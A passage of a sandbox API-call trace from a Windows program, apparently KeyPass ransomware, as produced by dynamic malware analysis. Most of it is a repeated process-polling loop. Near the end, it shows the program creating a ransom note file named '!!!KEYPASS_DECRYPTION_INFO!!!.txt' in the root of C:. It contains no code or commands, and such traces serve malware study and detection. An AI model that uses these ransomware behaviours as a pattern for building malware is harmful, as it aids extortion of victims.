hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0322.094] Sleep (dwMilliseconds=0x1) [0322.114] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5b74 [0322.114] WaitForSingleObject (hHandle=0x5b74, dwMilliseconds=0xa) returned 0x102 [0322.123] CloseHandle (hObject=0x5b74) returned 1 [0322.123] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0322.123] Sleep (dwMilliseconds=0x1) [0322.189] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5b8c [0322.189] WaitForSingleObject (hHandle=0x5b8c, dwMilliseconds=0xa) returned 0x102 [0322.202] CloseHandle (hObject=0x5b8c) returned 1 [0322.202] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0322.202] Sleep (dwMilliseconds=0x1) [0322.223] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5bb8 [0322.223] WaitForSingleObject (hHandle=0x5bb8, dwMilliseconds=0xa) returned 0x102 [0322.234] CloseHandle (hObject=0x5bb8) returned 1 [0322.234] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0322.234] Sleep (dwMilliseconds=0x1) [0322.247] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5bcc [0322.247] WaitForSingleObject (hHandle=0x5bcc, dwMilliseconds=0xa) returned 0x102 [0322.265] CloseHandle (hObject=0x5bcc) returned 1 [0322.265] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0322.265] Sleep (dwMilliseconds=0x1) [0322.282] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5bcc [0322.282] WaitForSingleObject (hHandle=0x5bcc, dwMilliseconds=0xa) returned 0x102 [0322.294] CloseHandle (hObject=0x5bcc) returned 1 [0322.294] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0322.294] Sleep (dwMilliseconds=0x1) [0322.310] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5bcc [0322.310] WaitForSingleObject (hHandle=0x5bcc, dwMilliseconds=0xa) returned 0x102 [0322.326] CloseHandle (hObject=0x5bcc) returned 1 [0322.326] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0322.326] Sleep (dwMilliseconds=0x1) [0322.341] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5bcc [0322.341] WaitForSingleObject (hHandle=0x5bcc, dwMilliseconds=0xa) returned 0x102 [0322.357] CloseHandle (hObject=0x5bcc) returned 1 [0322.357] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0322.357] Sleep (dwMilliseconds=0x1) [0322.372] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5bcc [0322.372] WaitForSingleObject (hHandle=0x5bcc, dwMilliseconds=0xa) returned 0x102 [0322.388] CloseHandle (hObject=0x5bcc) returned 1 [0322.388] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0322.388] Sleep (dwMilliseconds=0x1) [0322.410] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5be8 [0322.410] WaitForSingleObject (hHandle=0x5be8, dwMilliseconds=0xa) returned 0x102 [0322.420] CloseHandle (hObject=0x5be8) returned 1 [0322.420] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0322.420] Sleep (dwMilliseconds=0x1) [0322.435] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5be8 [0322.435] WaitForSingleObject (hHandle=0x5be8, dwMilliseconds=0xa) returned 0x102 [0322.451] CloseHandle (hObject=0x5be8) returned 1 [0322.451] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0322.451] Sleep (dwMilliseconds=0x1) [0322.466] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5be8 [0322.466] WaitForSingleObject (hHandle=0x5be8, dwMilliseconds=0xa) returned 0x102 [0322.482] CloseHandle (hObject=0x5be8) returned 1 [0322.482] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0322.482] Sleep (dwMilliseconds=0x1) [0322.499] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5bf4 [0322.499] WaitForSingleObject (hHandle=0x5bf4, dwMilliseconds=0xa) returned 0x102 [0322.513] CloseHandle (hObject=0x5bf4) returned 1 [0322.513] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0322.513] Sleep (dwMilliseconds=0x1) [0322.529] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5bf4 [0322.529] WaitForSingleObject (hHandle=0x5bf4, dwMilliseconds=0xa) returned 0x102 [0322.548] CloseHandle (hObject=0x5bf4) returned 1 [0322.548] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0322.548] Sleep (dwMilliseconds=0x1) [0322.561] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5bf4 [0322.561] WaitForSingleObject (hHandle=0x5bf4, dwMilliseconds=0xa) returned 0x102 [0322.576] CloseHandle (hObject=0x5bf4) returned 1 [0322.576] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0322.576] Sleep (dwMilliseconds=0x1) [0322.591] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5bfc [0322.591] WaitForSingleObject (hHandle=0x5bfc, dwMilliseconds=0xa) returned 0x102 [0322.609] CloseHandle (hObject=0x5bfc) returned 1 [0322.609] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0322.609] Sleep (dwMilliseconds=0x1) [0322.622] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5bfc [0322.622] WaitForSingleObject (hHandle=0x5bfc, dwMilliseconds=0xa) returned 0x102 [0322.638] CloseHandle (hObject=0x5bfc) returned 1 [0322.638] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0322.638] Sleep (dwMilliseconds=0x1) [0322.654] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5bfc [0322.654] WaitForSingleObject (hHandle=0x5bfc, dwMilliseconds=0xa) returned 0x102 [0322.669] CloseHandle (hObject=0x5bfc) returned 1 [0322.669] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0322.669] Sleep (dwMilliseconds=0x1) [0322.685] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5bfc [0322.685] WaitForSingleObject (hHandle=0x5bfc, dwMilliseconds=0xa) returned 0x102 [0322.701] CloseHandle (hObject=0x5bfc) returned 1 [0322.701] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0322.701] Sleep (dwMilliseconds=0x1) [0322.717] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5bfc [0322.717] WaitForSingleObject (hHandle=0x5bfc, dwMilliseconds=0xa) returned 0x102 [0322.732] CloseHandle (hObject=0x5bfc) returned 1 [0322.732] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0322.732] Sleep (dwMilliseconds=0x1) [0322.747] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5bfc [0322.747] WaitForSingleObject (hHandle=0x5bfc, dwMilliseconds=0xa) returned 0x102 [0322.763] CloseHandle (hObject=0x5bfc) returned 1 [0322.763] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0322.763] Sleep (dwMilliseconds=0x1) [0322.779] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5bfc [0322.779] WaitForSingleObject (hHandle=0x5bfc, dwMilliseconds=0xa) returned 0x102 [0322.794] CloseHandle (hObject=0x5bfc) returned 1 [0322.795] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0322.795] Sleep (dwMilliseconds=0x1) [0322.810] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5bfc [0322.810] WaitForSingleObject (hHandle=0x5bfc, dwMilliseconds=0xa) returned 0x102 [0322.826] CloseHandle (hObject=0x5bfc) returned 1 [0322.826] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0322.826] Sleep (dwMilliseconds=0x1) [0322.841] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5c20 [0322.841] WaitForSingleObject (hHandle=0x5c20, dwMilliseconds=0xa) returned 0x102 [0322.857] CloseHandle (hObject=0x5c20) returned 1 [0322.857] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0322.857] Sleep (dwMilliseconds=0x1) [0322.873] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5c20 [0322.873] WaitForSingleObject (hHandle=0x5c20, dwMilliseconds=0xa) returned 0x102 [0322.888] CloseHandle (hObject=0x5c20) returned 1 [0322.888] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0322.888] Sleep (dwMilliseconds=0x1) [0322.904] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5c58 [0322.904] WaitForSingleObject (hHandle=0x5c58, dwMilliseconds=0xa) returned 0x102 [0322.919] CloseHandle (hObject=0x5c58) returned 1 [0322.919] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0322.919] Sleep (dwMilliseconds=0x1) [0322.935] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5c58 [0322.935] WaitForSingleObject (hHandle=0x5c58, dwMilliseconds=0xa) returned 0x102 [0322.951] CloseHandle (hObject=0x5c58) returned 1 [0322.951] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0322.951] Sleep (dwMilliseconds=0x1) [0322.966] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5c58 [0322.966] WaitForSingleObject (hHandle=0x5c58, dwMilliseconds=0xa) returned 0x102 [0322.982] CloseHandle (hObject=0x5c58) returned 1 [0322.982] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0322.982] Sleep (dwMilliseconds=0x1) [0322.997] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5c58 [0322.997] WaitForSingleObject (hHandle=0x5c58, dwMilliseconds=0xa) returned 0x102 [0323.030] CloseHandle (hObject=0x5c58) returned 1 [0323.030] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0323.030] Sleep (dwMilliseconds=0x1) [0323.044] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5c58 [0323.044] WaitForSingleObject (hHandle=0x5c58, dwMilliseconds=0xa) returned 0x102 [0323.065] CloseHandle (hObject=0x5c58) returned 1 [0323.065] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0323.065] Sleep (dwMilliseconds=0x1) [0323.076] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5c58 [0323.076] WaitForSingleObject (hHandle=0x5c58, dwMilliseconds=0xa) returned 0x102 [0323.091] CloseHandle (hObject=0x5c58) returned 1 [0323.091] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0323.091] Sleep (dwMilliseconds=0x1) [0323.107] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5c58 [0323.107] WaitForSingleObject (hHandle=0x5c58, dwMilliseconds=0xa) returned 0x102 [0323.122] CloseHandle (hObject=0x5c58) returned 1 [0323.122] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0323.122] Sleep (dwMilliseconds=0x1) [0323.142] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5c78 [0323.142] WaitForSingleObject (hHandle=0x5c78, dwMilliseconds=0xa) returned 0x102 [0323.154] CloseHandle (hObject=0x5c78) returned 1 [0323.154] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0323.154] Sleep (dwMilliseconds=0x1) [0323.169] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5c78 [0323.170] WaitForSingleObject (hHandle=0x5c78, dwMilliseconds=0xa) returned 0x102 [0323.185] CloseHandle (hObject=0x5c78) returned 1 [0323.185] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0323.185] Sleep (dwMilliseconds=0x1) [0323.201] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5c78 [0323.201] WaitForSingleObject (hHandle=0x5c78, dwMilliseconds=0xa) returned 0x102 [0323.216] CloseHandle (hObject=0x5c78) returned 1 [0323.216] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0323.216] Sleep (dwMilliseconds=0x1) [0323.232] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5c78 [0323.232] WaitForSingleObject (hHandle=0x5c78, dwMilliseconds=0xa) returned 0x102 [0323.247] CloseHandle (hObject=0x5c78) returned 1 [0323.248] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0323.248] Sleep (dwMilliseconds=0x1) [0323.263] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5c78 [0323.263] WaitForSingleObject (hHandle=0x5c78, dwMilliseconds=0xa) returned 0x102 [0323.279] CloseHandle (hObject=0x5c78) returned 1 [0323.279] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0323.279] Sleep (dwMilliseconds=0x1) [0323.294] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5c78 [0323.294] WaitForSingleObject (hHandle=0x5c78, dwMilliseconds=0xa) returned 0x102 [0323.310] CloseHandle (hObject=0x5c78) returned 1 [0323.310] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0323.310] Sleep (dwMilliseconds=0x1) [0323.325] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5c78 [0323.326] WaitForSingleObject (hHandle=0x5c78, dwMilliseconds=0xa) returned 0x102 [0323.341] CloseHandle (hObject=0x5c78) returned 1 [0323.341] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0323.341] Sleep (dwMilliseconds=0x1) [0323.357] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5c78 [0323.357] WaitForSingleObject (hHandle=0x5c78, dwMilliseconds=0xa) returned 0x102 [0323.372] CloseHandle (hObject=0x5c78) returned 1 [0323.372] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0323.372] Sleep (dwMilliseconds=0x1) [0323.388] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5c78 [0323.388] WaitForSingleObject (hHandle=0x5c78, dwMilliseconds=0xa) returned 0x102 [0323.404] CloseHandle (hObject=0x5c78) returned 1 [0323.404] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0323.404] Sleep (dwMilliseconds=0x1) [0323.419] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5c78 [0323.419] WaitForSingleObject (hHandle=0x5c78, dwMilliseconds=0xa) returned 0x102 [0323.435] CloseHandle (hObject=0x5c78) returned 1 [0323.435] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0323.435] Sleep (dwMilliseconds=0x1) [0323.450] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5c78 [0323.451] WaitForSingleObject (hHandle=0x5c78, dwMilliseconds=0xa) returned 0x102 [0323.467] CloseHandle (hObject=0x5c78) returned 1 [0323.467] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0323.467] Sleep (dwMilliseconds=0x1) [0323.482] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5ca4 [0323.482] WaitForSingleObject (hHandle=0x5ca4, dwMilliseconds=0xa) returned 0x102 [0323.498] CloseHandle (hObject=0x5ca4) returned 1 [0323.498] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0323.498] Sleep (dwMilliseconds=0x1) [0323.513] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5ca4 [0323.513] WaitForSingleObject (hHandle=0x5ca4, dwMilliseconds=0xa) returned 0x102 [0323.529] CloseHandle (hObject=0x5ca4) returned 1 [0323.529] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0323.529] Sleep (dwMilliseconds=0x1) [0323.544] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5ca4 [0323.544] WaitForSingleObject (hHandle=0x5ca4, dwMilliseconds=0xa) returned 0x102 [0323.563] CloseHandle (hObject=0x5ca4) returned 1 [0323.563] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0323.563] Sleep (dwMilliseconds=0x1) [0323.580] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5cbc [0323.580] WaitForSingleObject (hHandle=0x5cbc, dwMilliseconds=0xa) returned 0x102 [0323.591] CloseHandle (hObject=0x5cbc) returned 1 [0323.591] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0323.591] Sleep (dwMilliseconds=0x1) [0323.607] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5cd8 [0323.607] WaitForSingleObject (hHandle=0x5cd8, dwMilliseconds=0xa) returned 0x102 [0323.622] CloseHandle (hObject=0x5cd8) returned 1 [0323.622] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0323.622] Sleep (dwMilliseconds=0x1) [0323.638] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5cd8 [0323.638] WaitForSingleObject (hHandle=0x5cd8, dwMilliseconds=0xa) returned 0x102 [0323.655] CloseHandle (hObject=0x5cd8) returned 1 [0323.655] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0323.655] Sleep (dwMilliseconds=0x1) [0323.669] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5cfc [0323.669] WaitForSingleObject (hHandle=0x5cfc, dwMilliseconds=0xa) returned 0x102 [0323.685] CloseHandle (hObject=0x5cfc) returned 1 [0323.685] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0323.685] Sleep (dwMilliseconds=0x1) Thread: id = 61 os_tid = 0xbe0 Thread: id = 62 os_tid = 0xea4 Thread: id = 63 os_tid = 0xf24 [0235.262] timeGetTime () returned 0x40ef8 [0235.262] GetLastError () returned 0x57 [0235.262] GetCurrentThreadId () returned 0xf24 [0235.262] SetLastError (dwErrCode=0x57) [0235.262] PeekMessageW (in: lpMsg=0x2e4fa68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4fa68) returned 0 [0235.262] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xcb1f28 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0235.263] GetLastError () returned 0x0 [0235.263] SetLastError (dwErrCode=0x0) [0235.263] GetLastError () returned 0x0 [0235.263] SetLastError (dwErrCode=0x0) [0235.263] GetLastError () returned 0x0 [0235.263] SetLastError (dwErrCode=0x0) [0235.263] PathAppendW (in: pszPath="C:\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0235.263] PathFileExistsW (pszPath="C:\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0235.263] GetLastError () returned 0x2 [0235.263] SetLastError (dwErrCode=0x2) [0235.263] GetLastError () returned 0x2 [0235.263] SetLastError (dwErrCode=0x2) [0235.263] GetLastError () returned 0x2 [0235.263] SetLastError (dwErrCode=0x2) [0235.264] GetLastError () returned 0x2 [0235.264] SetLastError (dwErrCode=0x2) [0235.264] GetLastError () returned 0x2 [0235.264] SetLastError (dwErrCode=0x2) [0235.264] GetLastError () returned 0x2 [0235.264] SetLastError (dwErrCode=0x2) [0235.264] GetLastError () returned 0x2 [0235.264] SetLastError (dwErrCode=0x2) [0235.264] GetLastError () returned 0x2 [0235.264] SetLastError (dwErrCode=0x2) [0235.264] GetLastError () returned 0x2 [0235.264] SetLastError (dwErrCode=0x2) [0235.264] GetLastError () returned 0x2 [0235.264] SetLastError (dwErrCode=0x2) [0235.264] GetLastError () returned 0x2 [0235.264] SetLastError (dwErrCode=0x2) [0235.264] GetLastError () returned 0x2 [0235.264] SetLastError (dwErrCode=0x2) [0235.264] GetLastError () returned 0x2 [0235.264] SetLastError (dwErrCode=0x2) [0235.264] GetLastError () returned 0x2 [0235.264] SetLastError (dwErrCode=0x2) [0235.264] GetLastError () returned 0x2 [0235.264] SetLastError (dwErrCode=0x2) [0235.264] GetLastError () returned 0x2 [0235.264] SetLastError (dwErrCode=0x2) [0235.264] GetLastError () returned 0x2 [0235.264] SetLastError (dwErrCode=0x2) [0235.265] GetLastError () returned 0x2 [0235.265] SetLastError (dwErrCode=0x2) [0235.265] GetLastError () returned 0x2 [0235.265] SetLastError (dwErrCode=0x2) [0235.265] GetLastError () returned 0x2 [0235.265] SetLastError (dwErrCode=0x2) [0235.265] GetLastError () returned 0x2 [0235.265] SetLastError (dwErrCode=0x2) [0235.265] CreateFileW (lpFileName="C:\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4f8c8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x33c [0235.268] GetFileType (hFile=0x33c) returned 0x1 [0235.268] GetLastError () returned 0x0 [0235.268] SetLastError (dwErrCode=0x0) [0235.268] GetLastError () returned 0x0 [0235.268] SetLastError (dwErrCode=0x0) [0235.268] GetLastError () returned 0x0 [0235.268] SetLastError (dwErrCode=0x0) [0235.268] GetLastError () returned 0x0 [0235.268] SetLastError (dwErrCode=0x0) [0235.268] GetLastError () returned 0x0 [0235.268] SetLastError (dwErrCode=0x0) [0235.268] GetLastError () returned 0x0 [0235.268] SetLastError (dwErrCode=0x0) [0235.268] GetLastError () returned 0x0 [0235.268] SetLastError (dwErrCode=0x0) [0235.268] GetLastError () returned 0x0 [0235.269] SetLastError (dwErrCode=0x0) [0235.269] GetLastError () returned 0x0 [0235.269] SetLastError (dwErrCode=0x0) [0235.269] GetLastError () returned 0x0 [0235.269] SetLastError (dwErrCode=0x0) 